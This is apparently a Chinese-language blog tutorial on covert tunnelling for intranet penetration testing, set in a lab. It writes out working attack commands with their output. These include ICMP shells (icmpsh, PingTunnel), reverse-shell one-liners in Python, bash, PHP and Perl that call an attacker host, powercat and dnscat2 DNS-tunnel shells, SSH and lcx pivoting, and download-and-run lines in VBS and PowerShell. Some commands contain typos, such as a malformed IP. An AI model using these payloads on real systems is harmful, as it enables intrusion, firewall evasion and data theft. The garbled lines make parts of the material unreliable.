Lluna's Pure land.

What is life like when singing to wine?

0%

内网渗透测试-隐藏通信隧道技术

0x01.基础知识

完成内网信息搜集后,需要先判断流量是否出得去、进得来。隐藏通信隧道技术常用于在访问受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的数据传输。

1.概述

​ 在渗透场景中,各种安全设备会检查对外连接的情况,如果发现异常,就会对通信进行阻断。因此建立专门的隐蔽隧道就十分必要,这能绕过端口屏蔽。
常用的隧道如下:

1
2
3
网络层隧道:IPv6、ICMP、GRE
传输层隧道:TCP、UDP、常规端口转发
应用层隧道:SSH、HTTP、HTTPS、DNS

2.判断内网的连通性

​ 判断内网的连通性是指判断机器能否上外网等。要综合判断各种协议(TCP、HTTP、DNS、ICMP等)及端口通信的情况。常见的允许流量流出的端口有80、8080、443、53、110、123等,常用的内网的连通性判断方法如下:

ICMP协议

1
ping www.baidu.com

TCP协议

1
nc -zv 10.1.1.5 3306

DNS协议

1
2
nslookup www.baiduc.om 8.8.8.8
dig @8.8.8.8 www.baidu.com

HTTP协议

1
curl http://www.baidu.com

​ 还有一种情况是流量不能直接流出,需要在内网中设置代理,判断方法如下:

1
2
3
4
5
6
7
1、查看网络连接,判断是否存在与其他机器的1080(不绝对)等端口的连接,可尝试运行ping -n 1 -a ip命令
2、查看内网中是否有主机名类似于"proxy"的机器。
3、查看IE浏览器的直接代理。
4、根据pac(代理自动配置)文件的路径(远程、本地),将其下载并查看。
5、执行如下命令,利用curl工具确认:
curl https://www.baidu.com //不通
curl -x proxy-ip:port www.baidu.com //通

0x02.网络层隧道技术

1.IPv6隧道

IPv6隧道技术是指通过IPv4隧道传输IPv6数据报文的技术,也就是说,将IPv6报文整体封装在IPv4数据报文中,以便在IPv4隧道中传输。

1
2
因为现阶段的部分安全设备无法识别IPv6的通信技术,而大多数操作系统支持IPv6,因此可以通过某些软件来配置允许进行IPv6通信以此来避开防火墙和入侵检测系统,而即使设备支持IPv6,也可能无法正确分析封装了IPv6报文的IPv4数据包。
支持IPv6隧道的工具有socat、6tunnel、nt6tunnel等。

2.ICMP隧道

在一般的通信协议里,如果两台设备要进行通信,首先肯定需要开放端口,而在ICMP下就不需要,在一些网络环境中如果使用各类上层隧道(HTTP、DNS、常规正反向端口转发等)进行的操作都失败后,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装在ICMP的ping数据包中,从而穿过防火墙。

常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等:

01.icmpsh

利用

1
2
本机:python2 icmpsh_m.py <本机IP> <目标IP>
靶机:icmpsh -t <外连主机IP> -d 500 -b 30 -s 128

首先需要安装impacket

1
2
3
下载地址:https://github.com/SecureAuthCorp/impacket
cd impacket
python2 -m pip install .

先在kali上运行

1
python2 icmpsh_m.py 192.168.1.8 192.168.1.6

在靶机上运行

1
icmpsh -t 192.168.1.8 -d 500 -b 30 -s 128

得到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@JIYE:~/Downloads/icmpsh# python2 icmpsh_m.py 192.168.1.8 192.168.1.6
Microsoft Windows [�汾 5.2.3790]
(C) ��Ȩ���� 1985-2003 Microsoft Corp.

C:\icmpsh>whoami
whoami
admin-ad4c9d4d8\administrator

C:\icmpsh>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter ��������:

Connection-specific DNS Suffix . : local
IP Address. . . . . . . . . . . . : 10.1.1.4
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.1.1.1

Ethernet adapter �������� 2:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.1.6
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1

C:\icmpsh>

抓包分析

192.168.1.10向192.168.1.6发起请求whoami

192.168.1.6向192.168.1.10响应

02.PingTunnel

安装依赖

1
2
3
4
5
6
7
8
9
 cd libpcap-1.10.1
./configure
make && make install

cd PingTunnel/
make && make install

遇到报错安装以下
apt-get install flex byacc -y #我遇到的报错是缺这俩

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
kali攻击机
┌──(root💀kali)-[~]
└─# ifconfig 71 ⨯
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.7 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 2409:8a15:3637:5ed0:befd:d9fb:f05a:6005 prefixlen 64 scopeid 0x0<global>
inet6 fe80::20c:29ff:fe4f:2524 prefixlen 64 scopeid 0x20<link>
inet6 2409:8a15:3637:5ed0:20c:29ff:fe4f:2524 prefixlen 64 scopeid 0x0<global>
ether 00:0c:29:4f:25:24 txqueuelen 1000 (Ethernet)
RX packets 12484 bytes 6520141 (6.2 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3141 bytes 662478 (646.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 44 bytes 2816 (2.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 44 bytes 2816 (2.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0


web服务器
[root@mail ~]# ifconfig
ens32: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.11 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 2409:8a15:3637:5ed0:63bf:e247:b694:9bca prefixlen 64 scopeid 0x0<global>
inet6 fe80::93f3:83a7:a47f:dda4 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:a0:ac:5d txqueuelen 1000 (Ethernet)
RX packets 7482 bytes 1008757 (985.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3140 bytes 833053 (813.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ens34: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.1.1.6 netmask 255.255.255.0 broadcast 10.1.1.255
inet6 fe80::5577:a12e:72b8:66dd prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:a0:ac:67 txqueuelen 1000 (Ethernet)
RX packets 851 bytes 366945 (358.3 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 509 bytes 68150 (66.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 109 bytes 6323 (6.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 109 bytes 6323 (6.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

内网DC
C:\Users\Administrator>ipconfig

Windows IP 配置


以太网适配器 Ethernet0:

连接特定的 DNS 后缀 . . . . . . . : local
本地链接 IPv6 地址. . . . . . . . : fe80::b12d:4163:32df:fa72%4
IPv4 地址 . . . . . . . . . . . . : 10.1.1.5
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 10.1.1.1

首先web服务器运行

1
ptunnel -x pass

kali运行

1
2
ptunnel -p 192.168.1.11 -lp 6666 -da 10.1.1.5 -dp 3389 -x pass
上述命令含义:在访问kali的6666端口,会把DC 10.1.1.5的3389端口封装在ICMP隧道里,以web服务器192.168.1.11为ICMP隧道跳板进行传送。

参数

1
2
3
4
5
-x    指定ICMP隧道连接的验证密码
-lp 指定本地监听的TCP端口
-da 指定要转发的目标机器IP
-dp 指定要转发的目标机器TCP端口
-p 指定ICMP隧道另一端机器的IP

登入

1
2
3
desktop 192.168.1.7:6666
desktop 127.0.0.1:6666
windows的mstsc登入也可以

0x03.传输层隧道

1.lcx内网端口转发

目标主机执行

1
lcx.exe -slave 192.168.1.2 4444 127.0.0.1 3389    # 将本机3389端口转发到hack机4444端口

hack机执行

1
lcx.exe -listen  4444 5555    #将本机4444端口监听的所有数据传输到5555端口

hack机mstsc 127.0.0.1:5555登入

2.nc

参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-d 后台模式
-e 程序重定向
-g <网关> 设置路由器跃程通信网关,最多可设置8个;
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
-h 在线帮助;
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 使用监听模式,管控传入的资料;
-n 直接使用IP地址,而不通过域名服务器;
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p <通信端口> 设置本地主机使用的通信端口;
-r 随机指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;
-u 使用UDP传输协议;
-v 详细输出;
-w <超时秒数> 设置等待连线的时间;
-z 将输入输出关掉,只在扫描通信端口时使用。

3.反弹shell

01.python反弹shell

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.1681.11",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

02.bash反弹shell

1
bash -i >& /dev/tcp 192.168.1.11/6666 0>&1

03.PHP反弹shell

1
php -r '$sock=fsockopen("192.168.1.11",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

04.Perl反弹shell

1
perl -e 'use Socket;$i="192.168.1.11";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

4.powercat

Powershell版nc

参数

参数功能
-l监听入站连接
-c连接目标
-p连接或监听的端口
-e返回某个程序
-ep返回PowerShel
-r端口转发
-u通过UDP隧道传输数据
-dns通过DNS隧道传输数据
-dnsftDNS失效阈值
-t超时选项。默认值:60
-i输入:文件路径(字符串)、字节数组或字符串
-o控制台输出类型:“主机”、“字节”或“字符串”
-of输出文件路径
-d连接后断开
-rep重新启动
-g生成有效载荷
-ge生成编码后的有效载荷
-h帮助信息

01.Powercat生成payload

1.正向shell
1
powercat -l -p 6666 -e cmd -v -g >> shell.ps1

连接

1
powercat -c 10.10.10.10 -p 6666 -v
2.反向shell
1
powercat -c 10.10.10.10 -p 6666 -e cmd -v -g >> demo.ps1

连接

1
powercat -l -p 6666 -v

02.powercat DNS隧道

powercat DNS隧道是基于dnscat设计的,首先安装dnscat

1
2
3
4
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

kali执行

1
ruby dnscat2.rb ttpowercat.test -e open --no-cache

目标主机执行

1
powercat -c 192.168.1.7 -p 53 -dns ttpowercat.test -e cmd.exe

得到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
dnscat2> New window created: 1
Session 1 security: UNENCRYPTED

dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 security: UNENCRYPTED
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

Microsoft Windows [???? 10.0.17763.107]
(c) 2018 Microsoft Corporation????????????????

C:\Users\Administrator>
unnamed 1>
unnamed 1>
C:\Users\Administrator>whoami
unnamed 1> whoami
jiye\administrator

C:\Users\Administrator>

03.powercat作为跳板机

环境简介:

3台机器。server 2019 能与win7和kali互通,kali与win7不能互通,server 2019作为跳板机使kali与win7互通

win7执行

1
powercat -l -v -p 9999 -e cmd.exe    #本地监听9999端口

server 2019执行

1
powercat -l -v -p 8888 -r tcp:10.10.10.20:9999    #本地监听8888端口并转发至10.10.10.20的9999端口

kali

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root💀kali)-[~]
└─# nc 192.168.1.5 8888 -vv
192.168.1.5: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.1.5] 8888 (?) open
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Users\administrator>whoami
whoami
jiye\administrator

C:\Users\administrator>

#连接server 2019的8888端口就转发到了win7的9999端口

使用DNS协议,与tcp数据流正好相反

server 2019

1
powercat -l -p 9999 -r dns:192.168.1.7::ttpowercat.test

kali

1
ruby dnscat2.rb ttpowercat.test -e open --no-cache

win7

1
powercat -c 10.10.10.10 -p 9999 -v -e cmd.exe

kali得到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
dnscat2> New window created: 1
Session 1 security: UNENCRYPTED

dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 security: UNENCRYPTED
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

Microsoft Windows [???? 6.1.7601]
???????? (c) 2009 Microsoft Corporation????????????????

C:\Users\administrator>ipconfig
unnamed 1> ipconfig

Windows IP ????


???????????? ????????:

?????????? DNS ???? . . . . . . . :
???????? IPv6 ????. . . . . . . . : fe80::f161:9ab3:b020:30f1%11
IPv4 ???? . . . . . . . . . . . . : 10.10.10.20
???????? . . . . . . . . . . . . : 255.255.255.0
????????. . . . . . . . . . . . . : 10.10.10.2

?????????? isatap.{40BE814B-BB9A-4845-AADE-41A6B9E99107}:

???????? . . . . . . . . . . . . : ??????????
?????????? DNS ???? . . . . . . . :

C:\Users\administrator>

0x04.应用层隧道

1.ssh协议

参数

1
2
3
4
5
6
7
8
-C:压缩传输,提高传输速率。
-f:将SSH传输转入后台执行,不占用当前的shell。
-N:建立静默连接(看不到具体会话)。
-g:允许远程主机连接本地用于转发的端口。
-L:本地端口转发。
-R:远程端口转发。
-D:动态转发(SOCKS代理)。
-P:指定SSH端口。

01.本地端口转发

测试环境:

kali可以访问内网web服务器(cnetos 7),不能访问数据库服务器(win7),centos 7与win7可以相互访问

web服务器为跳板,将win7的3389端口映射到kali的3309端口,访问kali的3309端口就可以访问win7d的3389

kali执行

1
2
ssh -CfNg -L 3309:10.10.10.20:3389 root@192.168.1.11
ssh -CfNg -L 3309<本地端口>:10.10.10.20:3389<目标主机> root@192.168.1.11<跳板机>

登入

1
rdesktop 127.0.0.1:3309

02.远程端口转发

测试环境:

kali不可以访问内网所有机器,内网web服务器(centos 7)可以访问kali,内网数据库(win7)不可以访问kali,内网全通。

web为跳板机,将kali的3319端口的流量转发到目标主机win7的3389端口,访问kali的3319端口就可以访问win7的3389端口

web(centos 7执行)

1
2
ssh -CfNg -R 3319:10.10.10.20:3389 root@192.168.1.7
ssh -CfNg -R 3319<远程主机kali端口>:10.10.10.20:3389<目标主机win7数据库> root@192.168.1.7<远程主机kali>

登入

1
rdesktop 127.0.0.1:3309

本地端口转发:

在本地(客户机)监听一个端口,所有访问这个端口的数据都会通过ssh隧道转发到远端对应的端口

远程端口转发:

在远程主机上(服务器)监听一个端口,所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地对应的端口

2.HTTP/HTTPS协议

reGeorg工具

3.DNS协议

此部分内容测试需要公网域名

dnscat2

iodine

0x05.socks代理

此部分内容测试需要公网ip与内网环境

1.EarthWorm

2.ScoksCap64

3.Proxychains

0x06.压缩数据

渗透过程中常常要下载数据,这里有几种将数据进行压缩方便下载的技术

1.RAR

这里提取出winrar下的rar.exe,参数如下:

参数说明
-a添加要压缩的文件
-k锁定压缩文件
-s生成存档文件(提高压缩比)
-p指定压缩密码
-r递归压缩,包括子目录
-x指定要排除的文件
-v分卷打包,大文件使用
-ep从名称中排除路径
-ep1从名称中排除基本目录
-m0存储,添加到压缩文件时不压缩文件
-m1最快
-m2较快
-m3标准
-m4较好
-m5最好

2.7-zip

这里提取7z.exe,参数如下

参数说明
-r递归压缩
-o指定输出目录
-p指定密码
-v分卷压缩
a添加压缩文件

0x07.上传下载

对于不能上传shell,但是可以执行命令的windows服务器,可以进行上传和下载操作

1.ftp协议上传下载

常用命令

命令说明
open <服务器地址>链接服务器
cd <目录名>进入指定目录
lcd <文件夹路径>定位本地文件夹(上传文件的位置或者下载文件的本地位置)
type查看当前的传输方式
ascii设置传输方式为ascii码(TXT文件等)
binary设置传输方式为二进制传输(EXE文件,图片,视频)
close结束与ftp服务器的会话
quit结束与ftp服务器的会话并退出ftp环境
put <文件名> [新的文件名]上传,[]内容不指定则不修改
send <文件名> [新的文件名]上传,[]内容不指定则不修改
get <文件名> [新的文件名]下载,[]内容不指定则不修改
mget <文件名> [文件名…]下载多个文件,支持空格和?通配符,如下载所有MP3文件:mget .mp3

2.vbs上传

利用vbs上传主要使用msxm12.xmlhttp和adobd.stream对象,download.vbs文件:

使用echo 内容 >> download.vbs逐行写入后执行

Cscript download.vbs

1
2
3
4
5
6
7
8
9
10
Set Post = CreateObject("Msxm12.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://server_ip/target.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:\Test\target.exe",2

3.Nishang上传

Nishang将上传的EXE文件转换为十六进制的形式然后用echo访问目标服务器最后使用Download_Execute脚本下载。
先利用Nishang中的exetotext.ps1脚本将Metasploit生成的msf.exe修改问msf.txt:

1
.\ ExetoText c\:msf.exe c:\msf.txt

接着通过echo将hex值添加到目标文件中,调用Download_Execute:

1
Download_Execute http://server_ip/target.txt

4.Debug上传

5.bitsadmin下载

bitsadmin不支持HTTPS和FTP,且在Windows XP/Server 2003及以前的版本无法使用,Windows7/8/10自带。

6.PowerShell下载

1
powershell IEX(New-Object System.Net.Webclient).DownloadString('https://server_ip/target.exe');
-------------纸短情长下次再见-------------